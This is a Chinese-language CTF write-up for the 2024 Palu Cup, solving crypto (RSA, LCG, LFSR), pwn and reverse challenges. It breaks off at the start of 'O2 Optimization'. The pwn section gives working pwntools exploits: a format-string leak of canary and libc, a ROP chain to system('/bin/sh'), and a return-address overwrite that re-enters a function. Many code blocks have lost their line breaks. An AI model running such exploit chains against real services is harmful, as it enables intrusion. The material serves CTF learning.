[第一届 帕鲁杯 CTF挑战赛 2024] Crypto/PWN/Reverse

被一个小题整坏了,后边就没认真打。赛后把没作的复盘一下。

比赛有52个应急响应,猜是取证,都是队友在干,我也不大关心。前边大多题是比赛的原题。这是后来听说的,可都没见过,看来打的比赛还是少了。

Crypto

peeeq

这个题始终不明白什么意思,后来看WP,才大概明白。

题目唯一的提示是leak,而这个leak又与谁都没关系。assert看不明白,后来给了提示说是assert不对。

看WP其实是说leak为一个最小值,这些值都可以表示为k1p+k2q的形式。而这个最小值叫最大不可能K,从形式上猜跟φ有关。WP上说是φ-1,那就好办了。

import gmpy2
from Crypto.Util.number import *def check(m, p, q):if m == 0: return Trueif m >= p and check(m-p, p, q) : return Trueif m >= q and check(m-q, p, q) : return Truereturn Falseflag = b"paluctf{***********************}"p = getPrime(1024)
q = getPrime(1024)
e = getPrime(17)
n = p*qpinv_e = gmpy2.invert(p, q)*e
qinv_e = gmpy2.invert(q, p)*e
m = bytes_to_long(flag)
c = pow(m, e, n)
print(c)
print(pinv_e)
print(qinv_e)
m = 0
while True:assert m <= leak or check(m, p, q)m += 1leak = 20650913970072868759959272239604024297420806808659110564312051736808778949599012338389873196411652566474168134639876252857623310159737758732845898956842366935678501021994729279299799994075598575657211550223683499328614158165787416177094173112167115888930719187253398687736037116845083325669521670262760600243895871953940839864925909273175442587377607028910874730344252804963645659770898616148180806608083557249713184454706023876544328444568520666837841566163924062054001534893538655581481021600384148478571641075265311650046699619525464106135807483192890198614434965478741402348088647355476402189540171838712520668315
c = 14656499683788461319601710088831412892194505254418064899761498679297764485273476341077222358310031603834624959088854557947176472443021560072783573052603773463734827298069959304747376040480522193600487999140388188743055733577433643210327070027972481119823973316743393323273128561824747871183252082782459568278265418266528855123687868624734106855360408027492126167597948385055908257193701028960507382053300960017612431744000472268868103779169759349652561826935960615964589526055579319224213399173783902104833907847546751649110661705034653912439791460180154034041113546810232929706136321281991114377628823527206109309013
pinv_e = 12474140378771043865022148848078136936465079800066130234618983104385642778672967864991495110508733111980066517889153671507701349679185396054215439179349403857665966245686661757089470553109534987101888628107055364941617805783362125836104920292552457095662777743387917809524955960583091720618281570118299619677634759
qinv_e = 1647206449953560407401595632741127506095799998014240087894866808907042944168674423038307995055460808040825182837354682801054048594394389801771888111156812819183105159993880849157459496014737241461466870906700457127028184554416373467332704931423207098246831148428600375416541264997943693621557486559170922000282251
'''
题目描述有误 assert m <= leak or check(m, p, q) 中的leak为满足要求的最小值
对于 m > {x | x>=leak} 的 m 都必然满足 check(m, p, q) == True
'''

对于已知φ和伪逆的情况可以用z3直接解。

1,这里e未知,可以直接用gcd求出再分解一下找17位的素数。

2,列两个算式求解:n=pinv*p + qinv*q -1;phi = (p-1)*(q-1)

#factor(gcd(pinv_e,qinv_e))
#3 * 102563
e = 102563pinv,qinv = pinv_e//e,qinv_e//e #最大不可能K=mp+nq 使>=K的值都能表示为mp+nq  K=pq-p-q = phi-1 
phi = leak+1 import z3
import libnum
s = z3.Solver()
p, q = z3.Ints('p q')
#invp*p = 1 mod q ; invq*q = 1 mod p 
#????
s.add(p*q == pinv * p + qinv * q - 1)
s.add(phi == (p-1)*(q-1))print(s.check())
m = s.model()p = m[p].as_long()
q = m[q].as_long()from Crypto.Util.number import *
m = pow(c,inverse(e,p-1),p)
long_to_bytes(m)
#b'paluctf{51b98a17-6843-4e3b-b06c-3cd956bc944c}'

 

gcccd

第2个题就比较简单了,给了c1 = m^e mod n; c2 = (m//2)^e mod n

from Crypto.Util.number import getStrongPrime, GCD, bytes_to_long
import os
from flag import flagdef long_to_bytes(long_int, block_size=None):"""Convert a long integer to bytes, optionally right-justified to a given block size."""bytes_data = long_int.to_bytes((long_int.bit_length() + 7) // 8, 'big')return bytes_data if not block_size else bytes_data.rjust(block_size, b'\x00')def gen_keys(bits=512, e=5331):"""Generate RSA modulus n and public exponent e such that GCD((p-1)*(q-1), e) == 1."""while True:p, q = getStrongPrime(bits), getStrongPrime(bits)n = p * qif GCD((p-1) * (q-1), e) == 1:return n, edef pad(m, n):"""Pad the message m for RSA encryption under modulus n using PKCS#1 type 1."""mb, nb = long_to_bytes(m), long_to_bytes(n)assert len(mb) <= len(nb) - 11padding = os.urandom(len(nb) - len(mb) - 3).replace(b'\x01', b'')return bytes_to_long(b'\x00\x01' + padding + b'\x00' + mb)def encrypt(m, e, n):"""Encrypt message m with RSA public key (e, n)."""return pow(m, e, n)n, e = gen_keys()
m = pad(bytes_to_long(flag), n)
c1, c2 = encrypt(m, e, n), encrypt(m // 2, e, n)print(f"n = {n}\ne = {e}\nc1 = {c1}\nc2 = {c2}")n = 128134155200900363557361770121648236747559663738591418041443861545561451885335858854359771414605640612993903005548718875328893717909535447866152704351924465716196738696788273375424835753379386427253243854791810104120869379525507986270383750499650286106684249027984675067236382543612917882024145261815608895379
e = 5331
c1 = 60668946079423190709851484247433853783238381043211713258950336572392573192737047470465310272448083514859509629066647300714425946282732774440406261265802652068183263460022257056016974572472905555413226634497579807277440653563498768557112618320828785438180460624890479311538368514262550081582173264168580537990
c2 = 43064371535146610786202813736674368618250034274768737857627872777051745883780468417199551751374395264039179171708712686651485125338422911633961121202567788447108712022481564453759980969777219700870458940189456782517037780321026907310930696608923940135664565796997158295530735831680955376342697203313901005151

由于flag以“}”结尾所在m是奇数,所以列式子的时候列成:

c1 = (2M+1)^e ,c2 = M^e然后用HGCD求解,原来一直用短填充,但用HGCD更快。反正都是模板。

from Crypto.Util.number import *
#half-gcd算法
def HGCD(a, b):if 2 * b.degree() <= a.degree() or a.degree() == 1:return 1, 0, 0, 1m = a.degree() // 2a_top, a_bot = a.quo_rem(x^m)b_top, b_bot = b.quo_rem(x^m)R00, R01, R10, R11 = HGCD(a_top, b_top)c = R00 * a + R01 * bd = R10 * a + R11 * bq, e = c.quo_rem(d)d_top, d_bot = d.quo_rem(x^(m // 2))e_top, e_bot = e.quo_rem(x^(m // 2))S00, S01, S10, S11 = HGCD(d_top, e_top)RET00 = S01 * R00 + (S00 - q * S01) * R10RET01 = S01 * R01 + (S00 - q * S01) * R11RET10 = S11 * R00 + (S10 - q * S11) * R10RET11 = S11 * R01 + (S10 - q * S11) * R11return RET00, RET01, RET10, RET11def GCD(a, b):print(a.degree(), b.degree())q, r = a.quo_rem(b)if r == 0:return bR00, R01, R10, R11 = HGCD(a, b)c = R00 * a + R01 * bd = R10 * a + R11 * bif d == 0:return c.monic()q, r = c.quo_rem(d)if r == 0:return dreturn GCD(d, r)PR.<x> = PolynomialRing(Zmod(n))
f1 = (2*x+1)^e - c1
f2 = x^e - c2res = GCD(f1,f2)
m = -res.monic().coefficients()[0]
flag = long_to_bytes(2*int(m)+1)
print(flag)
#flag{6a096839-3ccb-46b4-9eb0-841ca85c0f63}

lcccg

这题给了一个lcg但是参数比较特殊a=2,b=0,然后结果只取了末位。取比flag长50位的值转整后与明白异或。

import secrets
from Crypto.Util.number import bytes_to_longflag = b'paluctf{***********}'
class LCG:def __init__(self):self.x = secrets.randbits(64)self.a = 2self.m = secrets.randbits(64)while self.m % 2 == 0:self.m = secrets.randbits(64)print("m =", self.m)def next(self):self.x = (self.x * self.a) % self.mreturn self.xlcg = LCG()assert b"paluctf" in flag
f = bytes_to_long(flag)l = f.bit_length()
print("length =", l)r = 0
for i in range(l + 50):r += (lcg.next() & 1) << iprint("cipher =", r ^ f)#-------------------------------
m = 7870528503754256659
length = 311
cipher = 3255815260238431584829132773479447408817850185229659648404208268001256903206776002292220185602856730646093869

对于这题想到了二分法,高位为1为上一半,为0为下一半,依次下去。而这个数比如1010与整个空间10000的比其实就是seed与模的比大概值。如果数字够长就会非常准。

这题给了50位,有点不够模是64位,不过由于知道flag头flag头8字节64位就足够了,但后边提示是头一定在,所以感觉这个flag开头不是paluctf{,可能有填充,所以爆破了一下,结果是没有填充。浪费。

m = 7870528503754256659
length = 311
cipher = 3255815260238431584829132773479447408817850185229659648404208268001256903206776002292220185602856730646093869
'''
#bit=1 则2*x>m 否则2*x<m
所以对于 k位的密文v 则有seed = v/(1<<k) 再进行小量爆破
'''
def print_r(x,v3,idx):tx = xr = 0for i in range(dim):x = (x*2)%mr += (x & 1) << i#print(bin(v3)[2:].zfill(64))#print(bin(r)[2:].zfill(64))if r == v3:print('ok:',tx)r = 0x = txfor i in range(361-(idx+1)*8):x = (x*2)%mr += (x & 1) << iv = long_to_bytes(r^(cipher>>(8*(idx+1))))print(idx,len(v),v)#1,爆破头在哪 paluctf{ 头在开头
tc = cipher 
for i in range(39):tc >>=8v3 = (tc%(1<<64)) ^ bytes_to_long(b'paluctf{')seed = int(bin(v3)[2:].zfill(64)[::-1],2)*m // (1<<64)for j in range(20):print_r(seed+j,v3,i)'''
ok: 4664793086826221388
30 8 b'paluctf{'
在右移31字符后得到干净的头
'''

 用这个种子重算得到加密流然后异或解密。

#2,差后部31字节 向前推31字节,得到flag
seed = 4664793086826221388
for i in range(8*31):seed = seed * inverse(2,m)%mx = seed
r = 0
for i in range(361):x = (x*2)%mr += (x & 1) << iprint(long_to_bytes(r^(cipher)))
#b'paluctf{1_am_a_l0ng_l3g1n_1s_n0t_a_l!!}'

01110

这里先把明文作成2进制再当成10进制转整数,然后取每位与一个随机数的平方相乘。

from Crypto.Util.number import getPrime, getRandomRange, bytes_to_long
from random import randrange
from flag import flagp = getPrime(512)
q = getPrime(512)
n = p * (q**2)
e = 65537while True:z = randrange(1, n)if all(pow(z, (x - 1) // 2, x) == x - 1 for x in (p, q)):breakdef encrypt_bit(m, n, z):secret = getRandomRange(1, n - 1)return (pow(secret, 2, n) * pow(z, m, n)) % nm = int(bin(bytes_to_long(flag))[2:])
c = []
while m:bit = m % 10c.append(encrypt_bit(bit, n, z))m //= 10print("n=", n)
print("gift1=", pow((p + q), e, n))
print("gift2=", pow((p - q), e, n))
print("z=", z)
print("c=", c)

至于是0还是1可以爆破,将c去年后边就变成随机数的平方,也就是说爆破下看是不是二次剩余。如果是0那乘以的是1它是二次剩余,为1则不是。

当bit=0时 c = pow(secret,2,n) 是二次剩余,当bit=1时 c = pow(secret,2,n)*z不是二次剩余

这题跟p,q没关系。给了反尔更容易多走路。

from gmpy2 import jacobi,invert
from Crypto.Util.number import long_to_bytes
ms = ''
for tc in c:if jacobi(tc,n)==1:  #是二次剩余ms+='0'else:ms+='1'long_to_bytes(int(ms[::-1],2))
#paluctf{1_4m_th3_b0td_1n_t3st_1n_th3_r0w}

simple_crypto

这题唯一的提示是文件名lfrs.png.encrypt也就是说是lfrs加密的flag图片。

对于png图片前12字节是固定的,后边是IHDR+高宽,也就是知道16字节最大18(因为高度不好说,也可能是2字节)。

对于LFSR加密,mask为窗口长度,seed与mask对应位置异或后的和放尾部。这个需要爆破mask。由于只知道128位,所以小爆破一下。

* LFSR有个问题我一直不能确定:对于长度为k的mask成立时,长度为k+1也一定有对应的另外一个mask也能成立。也就是说比较16位时存在mask,17位是也存在mask,那么解密效果相同。mask取最小即可。

#取已知头部
msg = open('lfsr.png.encrypt','rb').read()
head = open('a.png','rb').read()[:0x10] #生成一个正常的png文件取头部对照key = [head[i]^msg[i] for i in range(0x10)]
print(key)
sv = ''.join([bin(i)[2:].zfill(8) for i in key])
print(sv)
sv = 11001010111111100110111101101011010011010011100101111001110010100000000011100100111111010110010101010010111000100111111001000110#爆破可用的mask
from z3 import *def get_mask(key_len, skey):p = [BitVec(f"p{i}", 1) for i in range(key_len)]s = Solver()#print(key_len,len(skey))for i in range(len(skey)-1-key_len):  #验证长度key =  skey[i:key_len+i+1]s.add(int(key[-1]) == sum([p[_] for _ in range(key_len) if key[_]=='1']))if s.check() == sat:d = s.model()#print(d)mask = ''.join([str(d[p[i]]) for i in range(key_len)])return maskreturn False#取已知明文一半,爆破所有可能的值
#取最短一个即可,有没有一个定理:如果K=len(mask)成立=>K+1也成立?
masks = []
for i in range(2,64):mask = get_mask(i,sv)if mask != False:print(i,mask)masks.append(mask)

不清楚刚说的成不成立,但能用,这里爆破出16以后都有,直接取16解,有人说取29其它都不行,我没理解。显然16-64都没问题。

###2,使用爆破到的mask求出足够长的加密流
def lfsr(seed,mask, retlen):retbin = seedretlen -= len(seed)seed = [int(i) for i in seed]mask = [int(i) for i in mask]for _ in range(retlen):b = sum([seed[i]*mask[i] for i in range(len(seed))])%2seed.append(b)seed.pop(0)retbin+= str(b)return bytes([int(retbin[i:i+8],2) for i in range(0,retlen,8)])clen = len(msg)*8###3,加密流与密文异或得到明文,爆破结果,所有可能的mask均可得到原文
from pwn import xor
for mask in masks:cipher = lfsr(sv[:len(mask)],mask, len(msg)*8)open(f's{len(mask)}.png', 'wb').write(xor(cipher,msg))break

 

crypto签到

一开始网站被Ddos攻击了,后来又被攻击了。

签到还下线了。一个字:该!

一个给p的RSA还要用远程,好无聊。

略。

玛卡巴卡有什么坏心思呢

玛卡巴卡玛卡巴卡轰达姆阿卡嗙轰阿巴雅卡阿巴雅卡阿巴雅卡轰达姆阿卡嗙轰哈姆达姆阿卡嗙哈姆达姆阿卡嗙哈姆达姆阿卡嗙轰玛卡巴卡轰达姆阿卡嗙轰阿巴雅卡阿巴雅卡轰咿呀呦轰达姆阿卡嗙轰

略。说是从网上能搜到码表。如果没法搜到那个页面还没法作了。

两元钱的铜匠

还以为是二元copper smith其实不是

from secret import flag
from Crypto.Util.number import *
m = bytes_to_long(flag)
p = getPrime(512)
q = getPrime(512)
n = p*q
c = pow(m, 65537, n)
N = getPrime(1024)
leak = (pow(9999, 66666)*p + pow(66666, 9999)*q) % N
print(f'n={n}')
print(f'c={c}')
print(f'N={N}')
print(f'leak={leak}')

注意这里是n和N,这个式子如果两边乘以p,就变成一元2次方程。

p*leak = 9999^66666*p^2 + 66666^999*n mod N

在sage里对有限域N求方程根。

n=80916351132285136921336714166859402248518125673421944066690210363157948681543515675261790287954711843082802283188843248579293238274583917836325545166981149125711216316112644776403584036920878846575128588844980283888602402513345309524782526525838503856925567762860026353261868959895401646623045981393058164201
c=22730301930220955810132397809406485504430998883284247476890744759811759301470013143686059878014087921084402703884898661685430889812034497050189574640139435761526983415169973791743915648508955725713703906140316772231235038110678219688469930378177132307304731532134005576976892978381999976676034083329527911241
N=175887339574643371942360396913019735118423928391339797751049049816862344090324438786194807609356902331228801731590496587951642499325571035835790931895483345540104575533781585131558026624618308795381874809845454092562340943276838942273890971498308617974682097511232721650227206585474404895053411892392799799403
leak=161177488484579680503127298320874823539858895081858980450427298120182550612626953405092823674668208591844284619026441298155371399651438065337570099147890081125477609238234662000811899869636390550619251741676887565983189442613760093303841954633720778312454175652907352477365434215186845209831284593041581382419#p*q == n, a1*p+a2*q == leak mod N =>  a1*p^2 - leak*p + a2*n ==0 mod N
a1,a2 = pow(9999, 66666,N),pow(66666, 9999,N)
P.<p> = PolynomialRing(Zmod(N))
f = a1*p^2 - leak*p + a2*n
f.roots()#[(106629367100406916315466325879020841571857885591730192765439666827411844199927696112373864480002028230623676089197780459822920505908628521220125929138381245686491638116937260902857393676211177541766160466286177892913861982882549327219419707722501990589121785234957751505157277673813563817780249578910215536985,  1), (7369460226203218007291482683484122432673051660657739743165520029005169640619453357512790807095244300800591778614929551073202263581117660350621325493923101,  1)]p = 7369460226203218007291482683484122432673051660657739743165520029005169640619453357512790807095244300800591778614929551073202263581117660350621325493923101
bytes.fromhex(hex(pow(c,inverse_mod(0x10001,p-1),p))[2:])
#b'paluctf{6699669966996699669966996699}'

江枫渔火对愁眠

给了p|q和p&q分解n

from Crypto.Util.number import *
flag = b'paluctf{******************}'
p = getPrime(512)
q = getPrime(512)
m = bytes_to_long(flag)
n = p * q
e = 0x10001
c = pow(m, e, n)
leak1 = p & q
leak2 = p | q
print(n)
print(leak1)
print(leak2)
print(c)n =116117067844956812459549519789301338092862193317140117457423221066709482979351921356314593636327834899992321545232613626111009441254302384449742843180876494341637589103640217194070886174972452908589438599697165869525189266606983974250478298162924187424655566019487631330678770727392051485223152309309085945253
leak1 = 8605081049583982438298440507920076587069196185463800658188799677857096281403951362058424551032224336538547998962815392172493849395335237855201439663804417
leak2 = 13407373154151815187508645556332614349998109820361387104317659096666170318961881115942116046384020162789239054091769561534320831478500568385569270082820389
c = 77391898018025866504652357285886871686506090492775075964856060726697268476460193878086905273672532025686191143120456958000415501059102146339274402932542049355257662649758904431953601814453558068056853653214769669690930883469679763807974430229116956128100328073573783801082618261383412539474900566590518020658

用了几个都不如自己原来写的,改着方便。

PR.<x> = PolynomialRing(Zmod(n))
ok = False
def pq_xor(tp,tq,idx):global ok if ok:return if tp*tq>n:return if (tp+(2<<idx))*(tq+(2<<idx))<n:return if idx<=120:print(hex(tp))print(hex(tq))try:for j in range(1<<2):  #已经位至少264位,再加2位f = tp + x + (j<<(120-2))rr = f.monic().small_roots(X=2^(120-2), beta=0.4, epsilon=0.05)if rr != []:print(rr)print(tp)print('p = ',f(rr[0]))ok = Truereturnexcept:passreturnidx -=1b1 = (leak1 >>idx)&1b2 = (leak2 >>idx)&1one = 1<<idx if b1==0 and b2==0:pq_xor(tp,tq,idx)elif b1==1 and b2==1:        pq_xor(tp+one,tq+one,idx)    else:   #1pq_xor(tp+one,tq,idx)pq_xor(tp,tq+one,idx)#N.nbits()=1023 gift.nbits()=512  p,q的512位为1
tp = 1<<511
tq = 1<<511
pq_xor(tp,tq,511)#爆破得到p
p =  13246755426378578729876630630718068462717569987788401039611945190239825377062020349346567434694413153125153375769817998716719780574738862166452227093778437
q = n//p
d = inverse_mod(0x10001, (p-1)*(q-1))
m = pow(c,d,n)
bytes.fromhex(hex(m)[2:])
#b'paluctf{&&&|||&&&|||&&&&&&&&&&&&|||||||||}'

PWN

Palu

在main里有个printf漏洞,在base64_decode里有个溢出。虽然代码稍有点长,但还是比较标准的板子题。

int __cdecl main(int argc, const char **argv, const char **envp)
{...v10 = __readfsqword(0x28u);back_door1();puts("Please tell me your name");read(0, buf, 0x5DuLL);printf(buf);                 //printfopp11();read(0, s1, 2uLL);if ( !strcmp(s1, "1\n") ){puts("Please enter the data you want to encode");read(0, s, 0x3CuLL);v4 = strlen(s);ptr = palu64_encode((__int64)s, v4);if ( !ptr ){puts("Memory allocation failed.");return 1;}printf("palu64 Encoded: %s\n", ptr);free(ptr);}else{if ( strcmp(s1, "2\n") ){puts("Invalid option");exit(0);}printf("Enter a palu64 string to decode: ");fgets(s, 0x3C, stdin);v6 = strlen(s);if ( s[v6 - 1] == 10 )s[v6 - 1] = 0;decode_palu64(s);  }return 0;
}
unsigned __int64 __fastcall decode_palu64(const char *a1)
{char *v1; // raxint v2; // eaxint v3; // eaxint v4; // eaxchar *s; // [rsp+8h] [rbp-68h]int v7; // [rsp+20h] [rbp-50h]int i; // [rsp+24h] [rbp-4Ch]size_t v9; // [rsp+30h] [rbp-40h]char *haystack; // [rsp+38h] [rbp-38h]int v11; // [rsp+40h] [rbp-30h]int v12; // [rsp+44h] [rbp-2Ch]int v13; // [rsp+48h] [rbp-28h]int v14; // [rsp+4Ch] [rbp-24h]char buf[24]; // [rsp+50h] [rbp-20h] BYREFunsigned __int64 v16; // [rsp+68h] [rbp-8h]s = (char *)a1;v16 = __readfsqword(0x28u);v9 = (3 * strlen(a1)) >> 2;haystack = (char *)malloc(v9 + 1);if ( haystack ){v7 = 0;while ( *s ){for ( i = 0; i <= 3; ++i ){v1 = s++;*(&v11 + i) = palu64_decode((unsigned int)*v1);}v2 = v7++;haystack[v2] = (4 * v11) | (v12 >> 4);if ( v13 <= 63 ){v3 = v7++;haystack[v3] = (16 * v12) | (v13 >> 2);}if ( v14 <= 63 ){v4 = v7++;haystack[v4] = ((_BYTE)v13 << 6) | v14;}}haystack[v7] = 0;if ( strstr(haystack, "Palu") ){puts("A small gift");read(0, buf, 0xC8uLL);                    // 溢出}printf("Decoded string: %s\n", haystack);free(haystack);}else{puts("Memory allocation failed.");}return __readfsqword(0x28u) ^ v16;
}

这里不清楚什么原因直接输入Palu会不行,前边需要加点填充

from pwn import *
from base64 import *context(arch='amd64', log_level='debug')
libc = ELF('./libc.so.6')#p = process('./Palu')
#gdb.attach(p, "b*0x400df8\nc")
p = remote('127.0.0.1', 24645)p.sendafter(b"Please tell me your name\n", b'%22$p,%23$p,%25$p,/bin/sh\x00')
stack = int(p.recvuntil(b',', drop=True),16)
canary = int(p.recvuntil(b',', drop=True),16)
libc.address = int(p.recvuntil(b',', drop=True),16) - 240 - libc.sym['__libc_start_main']
print(f"{stack=:x} {canary = :x} {libc.address = :x}")p.sendlineafter(b"Please tell me your options\n", b'2')
p.sendlineafter(b"Enter a palu64 string to decode: ", b64encode(b'aPalu\0'))
#backdoor
pop_rdi = 0x00000000004010a3 # pop rdi ; ret
pop_rsi = 0x00000000004010a1 # pop rsi ; pop r15 ; ret
p.sendlineafter(b"A small gift", flat(0,0,0,canary,0, pop_rdi+1, pop_rdi, next(libc.search(b'/bin/sh')), libc.sym['system']))p.interactive()

小游戏

这题拿到1血,一直坚持到比赛关门才有二血。

代码比较长,估计没人想看了。大概理一下,应该就不难了。

1,在proof里作了个个简单的2字节爆破proof

2,在read_flag_and_init_map里读入flag并放在地图角上,位置随机,在4个解的25*25内。

3,game里支持上下左右移动,但只能走0的位置

4,图上的起点在25这个边的内部,flag在外部有一圈数字无法穿越

5,当输入字符大于w时会输出 printf("Invaild : %s\n", &v1); 

6,当到达flag所在位置会输出flag

这题有问题就是怎么穿墙。起点在圈内,终点在圈外。

漏洞在于在game函数中调用 sub_25D1(&v1, 37); 而v1只有1字节后边是i和canary,在这里读入37字节会发生溢出出,但后边只溢出16字节无法写ROP。

坑:

1,这些数字墙是通过random生成的,前边是srand(time(0))但是无法同步。后来看这里没用

2,溢出时写37字节恰好到libc_start_main_ret但是得到后只有16字节又无法写ROP,one_gadget也都试了没用。其实用不着libc,再少给俩字节多好。

3,墙是随机的,写了Dijstra算法找最优路径,但发现墙有外圈,不穿墙过不去。

4,遍历图规模太大400*400。但flag在4角,每个角25*25,加上换角只需要25^2*4+350*3并不太大

这题的难度就在于坑,每个坑都需要走好远,发现不行了再回来重新开始。

思路:

1,先通过溢出,开头写大于w的字符得到canary和elf地址

2,在输入里修改返回main的地址从0x2bde( game运行后)改为0x2bd4(game运行前)重入,由于在遇到墙退出里已经修改指针到新位置,所以穿越回game后会从新位置重新开始,从而达到穿墙目的。

3,通过遍历4个解得到flag

from pwn import *
from hashlib import sha256context(arch='amd64', log_level='error')
libc = ELF('/home/kali/glibc/libs/2.35-0ubuntu3-amd64/libc.so.6')
elf = ELF('./YUZ')#p = process('./YUZ')
#gdb.attach(p, "b*0x555555556a8b\nc")
p = remote('127.0.0.1', 35061)#1,proof
p.recvuntil(b'guidance."\n')
head = bytes.fromhex(p.recv(14).decode().replace(' ', ''))
p.recvline()
shahex = p.recvline().strip().decode()
for i in range(256):for j in range(256):v = head+bytes([i,j])v = sha256(v).hexdigest()if v == shahex:p.sendafter(b':', f"{i:02x} {j:02x}".ljust(10, '\0').encode())break'''
0x00007fffffffde60│+0x0000: 0x7878787878ffdf98   ← $rsp
0x00007fffffffde68│+0x0008: 0xf8d9d29ea6a41b78
0x00007fffffffde70│+0x0010: 0x008be8dd836c5ddc   ← $rbp
0x00007fffffffde78│+0x0018: 0x0000555555556bde  →   mov eax, 0x0
0x00007fffffffde80│+0x0020: 0x0000000000000001
0x00007fffffffde88│+0x0028: 0x00007ffff7def18a  →  <__libc_start_call_main+122> mov edi, eax
'''
#2,leak   5+canary+rbp+gameret+rbp+libc
#get canary
for i in range(5): p.recvline()
point = eval(p.recvline())
print(point)
p.sendline(b'x'*6)
p.recvuntil(b'x'*6)
canary = b'\x00'+ p.recv(7)
print(canary.hex())#elf
p.sendlineafter(b')\n', b'x'*21)
p.recvuntil(b'x'*21)
elf.address = u64(p.recv(6)+b'\x00'*2) - 0x2bde
print(f"{elf.address =:x}")#libc
p.sendafter(b')\n', b'x'*37)
p.recvuntil(b'x'*37)
libc.address = u64(p.recv(6)+ b'\x00'*2) - 0x29d90
print(f"{libc.address = :x}")pop_rdi = libc.address + 0x000000000002a3e5 # pop rdi ; ret
bin_sh  = next(libc.search(b'/bin/sh'))pay = b'x'+p32(0)+ flat(canary,0,elf.address+0x2bd4,1)
p.sendafter(b')\n',pay)#go (0,0)
print('-------2')
path1 = 'w'*point[0]+'a'*point[1]
for v in path1:while True:msg = p.recvline()if b',' in msg:breakprint(msg)pay = v.encode()+p32(0)+ flat(canary,0,elf.address+0x2bd4,1)p.send(pay)#search corner
print('-------3')
path = ('d'*25+'s'+'a'*25+'s')*12 + 'd'*400 + ('w'+'a'*25+'w'+'d'*25)*12 + 's'*400 + ('a'+'w'*25+'a'+'s'*25)*12 + 'a'*375 + ('w'+'d'*25+'w'+'a'*25)*12
for v in path:while True:msg = p.recvline()print(msg)if b',' in msg:breakif b'flag' in msg:print(msg)pay = v.encode()+p32(0)+ flat(canary,0,elf.address+0x2bd4,1)p.send(pay)p.interactive()#b'(394, 395)\n'
#b"You successfully destroyed the enemy's signal generator! flag is:flag{b4fa8d5f-a3cd-4388-a611-db1f5d4c975e}\n"

Reverse

看名字就知道是tea加密了。从IDA的findcrypt找到salsa20,虽然不是tea但也没啥问题。与lfrs,rc4差不多这种流加密,只要获得了流就OK了,而获得流的办法就是随便弄个明文再加密一次。

odbg先在比较位置下断点,输入‘000000000000000000000000000000000’,断开后得到加密后的密文和,flag的密文。由于salsa20是异或加密,直接对3都异或。

c = 'f568c48912eed6dc520c7164f44b6378e1d0d3e248914fa8847b405a131f'
b = "a33495de599c93983d751e18ad1036179288829110c04da8eb061f184652"
v = '0'*30from pwn import xor
xor(xor(v.encode(),bytes.fromhex(b)),bytes.fromhex(c))
b'flag{But_I_Like_ChaCha20_More}'

Auth System

从ida找到这个

int sub_401550()
{int ii; // [rsp+28h] [rbp-18h]int n; // [rsp+2Ch] [rbp-14h]int m; // [rsp+30h] [rbp-10h]int k; // [rsp+34h] [rbp-Ch]int j; // [rsp+38h] [rbp-8h]int i; // [rsp+3Ch] [rbp-4h]for ( i = 0; (unsigned __int64)i <= 0x6D; ++i )putchar(aUuUUuUUuuuUuuu[i] ^ 0xA);putchar(10);for ( j = 0; (unsigned __int64)j <= 0x6D; ++j )putchar(aTwWTtTTtTWTttw[j] ^ 0xB);putchar(10);for ( k = 0; (unsigned __int64)k <= 0x6D; ++k )putchar(aPPspPSlPSlPpPS[k] ^ 0xC);putchar(10);for ( m = 0; (unsigned __int64)m <= 0x6D; ++m )putchar(aQRqQRqQRq11Rrr[m] ^ 0xD);putchar(10);for ( n = 0; (unsigned __int64)n <= 0x6D; ++n )putchar(aRqrRqrrqqQrrqq[n] ^ 0xE);putchar(10);for ( ii = 0; (unsigned __int64)ii <= 0x6D; ++ii )putchar(aSpppSpsSppppps[ii] ^ 0xF);return putchar(10);
}

然后弄出来。注意这里不要用bytes因为转义后会乱,看不出来。

a = ['**UU*U***************UU**U****UUUU***UUUU*UUU*UUU********U****UUUU*UUUUU***UUU*UUUU*****UUUUU*U***U*U***UUU***',
'+$+Tw+w+TT+T++TT+T++$+$+$+W++$+TTTw+$+TTTwT+TwT+Tw++++++$+W++w++T+WT+++Tw+wT+T$+TTTw+++w++TTTw+w+w+w+W+w+W+W++',
'p,pSp,p#,Sl,p#,Sl,pp,p,#,S,P,PSSS,Pp,p,,,,p,p,p,p,,,,,,#,S,P,p,pS%,pp,p,,,,p,pPSSS,P,,,p,pS,,p,p,p,p,,Pp,pp,p,',
'q--Rq-q-%Rq-q-%Rq-1-1-"-RRR-Q-RRR$-q-qRRR-q-q-q-q-----"-RRR-Qq--R-1-q-q----q-q-RRR$-q--q--Rq-q-qRq-q-qQ--q-3-3',
'rQr.rQrRQQ"QrRQQ".rr.!Q!...RQRQQQQ!.RQQQQrQQQrQQQrQQQ!Q!...RQRQr.RQRrQrQQQrQQQrQQQQ!QQQrQr....RQQQ!rQr.RQrr.r.',
'/sPPP //SPS/sPPPPPs//sPPPPPs//sPPPPPs P //']for i in range(6):print(bytes([v^^(i+0xa) for v in a[i].encode()]).decode())

 

PyLu

又是python打包的exe文件,解开后填加头,然后到网站上解密。原先tool.lu已经不行了,没想到这题居然又能用了。

#!/usr/bin/env python
# visit https://tool.lu/pyc/ for more information
# Version: Python 3.11from Crypto.Util.number import bytes_to_longdef enc(key):R = bytes_to_long(b'Welcome To PaluCTF!')MOD = 2 ** 418R = R ^ R - 60 >> 24R = R ^ R - 60 << 88R ^= keyR = -R * R * 2024 % MOD  # R**2 => R*RR = R * key % MODreturn Rflag = input('Welcome To PaluCTF!\nInput FLAG:')
m = bytes_to_long(flag.encode())
cor = 0x2E441F765514CCA89173554726494D37E9FBE774B6F807BC5F6E71117530CE3D7DB5F70554C03CD9055F4E42969600904DF1F4DB8
if enc(m) == cor:print('Congratulation!')return None
print('Wrong FLAG!')

用z3解出key

from z3 import *s = Solver()
key = BitVec('key', 418)
s.add(enc(key) == cor)
s.check()
s.model()
#[key = 56006392793429433699362054746857211947342229695176108896172031696188789774216665112129816951245595005]
key = 56006392793429433699362054746857211947342229695176108896172031696188789774216665112129816951245595005
from Crypto.Util.number import *
long_to_bytes(key)
#b'flag{e88f88d7-4d75-462b-8447-bf4ab7aeab1a}'

O2 Optimization

elf文件,但是ida打不开,找个正常的elf对比一下改第5字节。然后得到加密流程。

#1,修改ELF文件头,将第4字节4改为2(64位程序)
#2,sub_2430() 将数据放入 obj,unk_5360,qword_5340
int sub_2430()
